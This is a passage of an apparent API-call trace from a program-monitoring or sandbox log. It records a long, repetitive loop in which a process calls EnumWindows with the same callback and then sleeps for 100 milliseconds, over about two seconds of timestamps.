(lpEnumFunc=0x423dd0, lParam=0x410000) [0248.762] Sleep (dwMilliseconds=0x64) [0248.764] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.764] Sleep (dwMilliseconds=0x64) [0248.767] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.767] Sleep (dwMilliseconds=0x64) [0248.769] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.769] Sleep (dwMilliseconds=0x64) [0248.770] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.771] Sleep (dwMilliseconds=0x64) [0248.772] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.773] Sleep (dwMilliseconds=0x64) [0248.775] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.776] Sleep (dwMilliseconds=0x64) [0248.777] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.778] Sleep (dwMilliseconds=0x64) [0248.780] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.780] Sleep (dwMilliseconds=0x64) [0248.782] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.782] Sleep (dwMilliseconds=0x64) [0248.784] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.784] Sleep (dwMilliseconds=0x64) [0248.786] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.786] Sleep (dwMilliseconds=0x64) [0248.788] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.788] Sleep (dwMilliseconds=0x64) [0248.790] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.790] Sleep (dwMilliseconds=0x64) [0248.791] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.791] Sleep (dwMilliseconds=0x64) [0248.793] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.794] Sleep (dwMilliseconds=0x64) [0248.795] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.795] Sleep (dwMilliseconds=0x64) [0248.797] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.797] Sleep (dwMilliseconds=0x64) [0248.801] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.801] Sleep (dwMilliseconds=0x64) [0248.802] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.803] Sleep (dwMilliseconds=0x64) [0248.805] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.805] Sleep (dwMilliseconds=0x64) [0248.806] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.807] Sleep (dwMilliseconds=0x64) [0248.808] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.808] Sleep (dwMilliseconds=0x64) [0248.810] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.810] Sleep (dwMilliseconds=0x64) [0248.811] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.811] Sleep (dwMilliseconds=0x64) [0248.813] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.814] Sleep (dwMilliseconds=0x64) [0248.816] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.816] Sleep (dwMilliseconds=0x64) [0248.817] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.817] Sleep (dwMilliseconds=0x64) [0248.820] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.820] Sleep (dwMilliseconds=0x64) [0248.821] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.821] Sleep (dwMilliseconds=0x64) [0248.823] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.823] Sleep (dwMilliseconds=0x64) [0248.826] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.826] Sleep (dwMilliseconds=0x64) [0248.829] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.829] Sleep (dwMilliseconds=0x64) [0248.830] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.830] Sleep (dwMilliseconds=0x64) [0248.831] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.832] Sleep (dwMilliseconds=0x64) [0248.833] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.833] Sleep (dwMilliseconds=0x64) [0248.835] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.835] Sleep (dwMilliseconds=0x64) [0248.837] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.837] Sleep (dwMilliseconds=0x64) [0248.839] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.839] Sleep (dwMilliseconds=0x64) [0248.841] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.841] Sleep (dwMilliseconds=0x64) [0248.843] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.844] Sleep (dwMilliseconds=0x64) [0248.845] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.845] Sleep (dwMilliseconds=0x64) [0248.847] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.847] Sleep (dwMilliseconds=0x64) [0248.849] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.849] Sleep (dwMilliseconds=0x64) [0248.851] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.851] Sleep (dwMilliseconds=0x64) [0248.855] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.856] Sleep (dwMilliseconds=0x64) [0248.857] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.858] Sleep (dwMilliseconds=0x64) [0248.859] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.859] Sleep (dwMilliseconds=0x64) [0248.861] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.861] Sleep (dwMilliseconds=0x64) [0248.862] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.863] Sleep (dwMilliseconds=0x64) [0248.864] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.864] Sleep (dwMilliseconds=0x64) [0248.866] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.866] Sleep (dwMilliseconds=0x64) [0248.867] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.868] Sleep (dwMilliseconds=0x64) [0248.869] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.869] Sleep (dwMilliseconds=0x64) [0248.870] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.871] Sleep (dwMilliseconds=0x64) [0248.872] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.872] Sleep (dwMilliseconds=0x64) [0248.873] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.874] Sleep (dwMilliseconds=0x64) [0248.875] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.875] Sleep (dwMilliseconds=0x64) [0248.877] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.877] Sleep (dwMilliseconds=0x64) [0248.878] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.878] Sleep (dwMilliseconds=0x64) [0248.881] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.882] Sleep (dwMilliseconds=0x64) [0248.884] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.884] Sleep (dwMilliseconds=0x64) [0248.886] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.886] Sleep (dwMilliseconds=0x64) [0248.889] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.889] Sleep (dwMilliseconds=0x64) [0248.891] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.891] Sleep (dwMilliseconds=0x64) [0248.893] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.893] Sleep (dwMilliseconds=0x64) [0248.895] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.895] Sleep (dwMilliseconds=0x64) [0248.897] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.898] Sleep (dwMilliseconds=0x64) [0248.899] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.899] Sleep (dwMilliseconds=0x64) [0248.901] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.901] Sleep (dwMilliseconds=0x64) [0248.903] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.903] Sleep (dwMilliseconds=0x64) [0248.996] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.996] Sleep (dwMilliseconds=0x64) [0248.998] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0248.998] Sleep (dwMilliseconds=0x64) [0249.000] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.001] Sleep (dwMilliseconds=0x64) [0249.003] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.003] Sleep (dwMilliseconds=0x64) [0249.007] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.007] Sleep (dwMilliseconds=0x64) [0249.010] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.011] Sleep (dwMilliseconds=0x64) [0249.012] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.012] Sleep (dwMilliseconds=0x64) [0249.014] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.014] Sleep (dwMilliseconds=0x64) [0249.016] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.016] Sleep (dwMilliseconds=0x64) [0249.026] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.026] Sleep (dwMilliseconds=0x64) [0249.038] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.038] Sleep (dwMilliseconds=0x64) [0249.048] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.048] Sleep (dwMilliseconds=0x64) [0249.164] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.164] Sleep (dwMilliseconds=0x64) [0249.174] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.174] Sleep (dwMilliseconds=0x64) [0249.184] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.184] Sleep (dwMilliseconds=0x64) [0249.187] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.187] Sleep (dwMilliseconds=0x64) [0249.189] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.189] Sleep (dwMilliseconds=0x64) [0249.190] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.191] Sleep (dwMilliseconds=0x64) [0249.192] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.192] Sleep (dwMilliseconds=0x64) [0249.193] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.193] Sleep (dwMilliseconds=0x64) [0249.370] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.370] Sleep (dwMilliseconds=0x64) [0249.461] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.462] Sleep (dwMilliseconds=0x64) [0249.504] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.505] Sleep (dwMilliseconds=0x64) [0249.506] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.506] Sleep (dwMilliseconds=0x64) [0249.509] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.510] Sleep (dwMilliseconds=0x64) [0249.511] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.511] Sleep (dwMilliseconds=0x64) [0249.513] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.513] Sleep (dwMilliseconds=0x64) [0249.514] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.515] Sleep (dwMilliseconds=0x64) [0249.516] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.516] Sleep (dwMilliseconds=0x64) [0249.517] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.517] Sleep (dwMilliseconds=0x64) [0249.519] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.519] Sleep (dwMilliseconds=0x64) [0249.520] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.520] Sleep (dwMilliseconds=0x64) [0249.522] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.522] Sleep (dwMilliseconds=0x64) [0249.524] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.525] Sleep (dwMilliseconds=0x64) [0249.526] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.526] Sleep (dwMilliseconds=0x64) [0249.527] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.528] Sleep (dwMilliseconds=0x64) [0249.529] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.529] Sleep (dwMilliseconds=0x64) [0249.530] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.531] Sleep (dwMilliseconds=0x64) [0249.532] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.532] Sleep (dwMilliseconds=0x64) [0249.533] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.533] Sleep (dwMilliseconds=0x64) [0249.535] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.535] Sleep (dwMilliseconds=0x64) [0249.641] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.642] Sleep (dwMilliseconds=0x64) [0249.643] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.644] Sleep (dwMilliseconds=0x64) [0249.646] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.647] Sleep (dwMilliseconds=0x64) [0249.652] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.652] Sleep (dwMilliseconds=0x64) [0249.654] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.654] Sleep (dwMilliseconds=0x64) [0249.656] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.657] Sleep (dwMilliseconds=0x64) [0249.658] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.658] Sleep (dwMilliseconds=0x64) [0249.659] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.660] Sleep (dwMilliseconds=0x64) [0249.661] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.661] Sleep (dwMilliseconds=0x64) [0249.662] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.663] Sleep (dwMilliseconds=0x64) [0249.664] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.664] Sleep (dwMilliseconds=0x64) [0249.667] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.667] Sleep (dwMilliseconds=0x64) [0249.668] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.669] Sleep (dwMilliseconds=0x64) [0249.670] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.670] Sleep (dwMilliseconds=0x64) [0249.671] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.672] Sleep (dwMilliseconds=0x64) [0249.790] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.791] Sleep (dwMilliseconds=0x64) [0249.792] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.793] Sleep (dwMilliseconds=0x64) [0249.794] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0249.794] Sleep (dwMilliseconds=0x64) [0249.796] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.638] Sleep (dwMilliseconds=0x64) [0250.640] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.640] Sleep (dwMilliseconds=0x64) [0250.642] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.642] Sleep (dwMilliseconds=0x64) [0250.644] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.644] Sleep (dwMilliseconds=0x64) [0250.645] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.645] Sleep (dwMilliseconds=0x64) [0250.647] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.647] Sleep (dwMilliseconds=0x64) [0250.648] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.648] Sleep (dwMilliseconds=0x64) [0250.650] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.650] Sleep (dwMilliseconds=0x64) [0250.652] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.652] Sleep (dwMilliseconds=0x64) [0250.654] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.654] Sleep (dwMilliseconds=0x64) [0250.656] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.657] Sleep (dwMilliseconds=0x64) [0250.658] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.658] Sleep (dwMilliseconds=0x64) [0250.661] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.661] Sleep (dwMilliseconds=0x64) [0250.663] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.663] Sleep (dwMilliseconds=0x64) [0250.664] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.664] Sleep (dwMilliseconds=0x64) [0250.666] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.666] Sleep (dwMilliseconds=0x64) [0250.668] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.669] Sleep (dwMilliseconds=0x64) [0250.670] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.670] Sleep (dwMilliseconds=0x64) [0250.672] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.672] Sleep (dwMilliseconds=0x64) [0250.674] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.674] Sleep (dwMilliseconds=0x64) [0250.675] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.676] Sleep (dwMilliseconds=0x64) [0250.677] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.677] Sleep (dwMilliseconds=0x64) [0250.679] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.680] Sleep (dwMilliseconds=0x64) [0250.681] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.681] Sleep (dwMilliseconds=0x64) [0250.683] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.683] Sleep (dwMilliseconds=0x64) [0250.685] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.686] Sleep (dwMilliseconds=0x64) [0250.688] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.688] Sleep (dwMilliseconds=0x64) [0250.689] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.690] Sleep (dwMilliseconds=0x64) [0250.692] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.693] Sleep (dwMilliseconds=0x64) [0250.695] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.695] Sleep (dwMilliseconds=0x64) [0250.697] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.697] Sleep (dwMilliseconds=0x64) [0250.700] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.700] Sleep (dwMilliseconds=0x64) [0250.701] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.702] Sleep (dwMilliseconds=0x64) [0250.703] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.703] Sleep (dwMilliseconds=0x64) [0250.704] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.705] Sleep (dwMilliseconds=0x64) [0250.706] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.706] Sleep (dwMilliseconds=0x64) [0250.708] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.708] Sleep (dwMilliseconds=0x64) [0250.710] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.710] Sleep (dwMilliseconds=0x64) [0250.711] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.711] Sleep (dwMilliseconds=0x64) [0250.714] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.714] Sleep (dwMilliseconds=0x64) [0250.716] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.716] Sleep (dwMilliseconds=0x64) [0250.718] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.718] Sleep (dwMilliseconds=0x64) [0250.721] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.721] Sleep (dwMilliseconds=0x64) [0250.722] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.723] Sleep (dwMilliseconds=0x64) [0250.724] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.725] Sleep (dwMilliseconds=0x64) [0250.726] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.726] Sleep (dwMilliseconds=0x64) [0250.728] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.728] Sleep (dwMilliseconds=0x64) [0250.729] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.730] Sleep (dwMilliseconds=0x64) [0250.731] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.731] Sleep (dwMilliseconds=0x64) [0250.734] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.734] Sleep (dwMilliseconds=0x64) [0250.737] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.737] Sleep (dwMilliseconds=0x64) [0250.739] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.739] Sleep (dwMilliseconds=0x64) [0250.741] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.741] Sleep (dwMilliseconds=0x64) [0250.743] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.743] Sleep (dwMilliseconds=0x64) [0250.745] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.745] Sleep (dwMilliseconds=0x64) [0250.747] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.747] Sleep (dwMilliseconds=0x64) [0250.749] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.749] Sleep (dwMilliseconds=0x64) [0250.751] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.751] Sleep (dwMilliseconds=0x64) [0250.753] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.753] Sleep (dwMilliseconds=0x64) [0250.754] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.754] Sleep (dwMilliseconds=0x64) [0250.756] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.756] Sleep (dwMilliseconds=0x64) [0250.759] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.759] Sleep (dwMilliseconds=0x64) [0250.761] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.761] Sleep (dwMilliseconds=0x64) [0250.763] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.763] Sleep (dwMilliseconds=0x64) [0250.765] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.765] Sleep (dwMilliseconds=0x64) [0250.767] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.767] Sleep (dwMilliseconds=0x64) [0250.769] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.769] Sleep (dwMilliseconds=0x64) [0250.771] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.771] Sleep (dwMilliseconds=0x64) [0250.773] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.774] Sleep (dwMilliseconds=0x64) [0250.775] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.776] Sleep (dwMilliseconds=0x64) [0250.778] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.778] Sleep (dwMilliseconds=0x64) [0250.779] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.779] Sleep (dwMilliseconds=0x64) [0250.781] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.781] Sleep (dwMilliseconds=0x64) [0250.783] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.783] Sleep (dwMilliseconds=0x64) [0250.784] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.785] Sleep (dwMilliseconds=0x64) [0250.786] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.786] Sleep (dwMilliseconds=0x64) [0250.788] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.788] Sleep (dwMilliseconds=0x64) [0250.791] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.791] Sleep (dwMilliseconds=0x64) [0250.793] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.793] Sleep (dwMilliseconds=0x64) [0250.795] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.796] Sleep (dwMilliseconds=0x64) [0250.797] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.797] Sleep (dwMilliseconds=0x64) [0250.799] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.799] Sleep (dwMilliseconds=0x64) [0250.801] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.801] Sleep (dwMilliseconds=0x64) [0250.803] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.803] Sleep (dwMilliseconds=0x64) [0250.804] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.804] Sleep (dwMilliseconds=0x64) [0250.806] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.806] Sleep (dwMilliseconds=0x64) [0250.809] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.810] Sleep (dwMilliseconds=0x64) [0250.811] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.811] Sleep (dwMilliseconds=0x64) [0250.813] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.813] Sleep (dwMilliseconds=0x64) [0250.815] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.815] Sleep (dwMilliseconds=0x64) [0250.816] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.816] Sleep (dwMilliseconds=0x64) [0250.818] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.818] Sleep (dwMilliseconds=0x64) [0250.819] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.819] Sleep (dwMilliseconds=0x64) [0250.821] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.821] Sleep (dwMilliseconds=0x64) [0250.834] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.834] Sleep (dwMilliseconds=0x64) [0250.836] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.837] Sleep (dwMilliseconds=0x64) [0250.838] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.838] Sleep (dwMilliseconds=0x64) [0250.840] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.840] Sleep (dwMilliseconds=0x64) [0250.842] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.842] Sleep (dwMilliseconds=0x64) [0250.843] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.844] Sleep (dwMilliseconds=0x64) [0250.845] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.845] Sleep (dwMilliseconds=0x64) [0250.847] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.847] Sleep (dwMilliseconds=0x64) [0250.850] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.850] Sleep (dwMilliseconds=0x64) [0250.851] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.852] Sleep (dwMilliseconds=0x64) [0250.853] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.854] Sleep (dwMilliseconds=0x64) [0250.856] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.856] Sleep (dwMilliseconds=0x64) [0250.858] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.858] Sleep (dwMilliseconds=0x64) [0250.859] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.860] Sleep (dwMilliseconds=0x64) [0250.861] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.861] Sleep (dwMilliseconds=0x64) [0250.863] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.863] Sleep (dwMilliseconds=0x64) [0250.865] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.865] Sleep (dwMilliseconds=0x64) [0250.866] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0250.867] Sleep (dwMilliseconds=0x64) [0250.868] 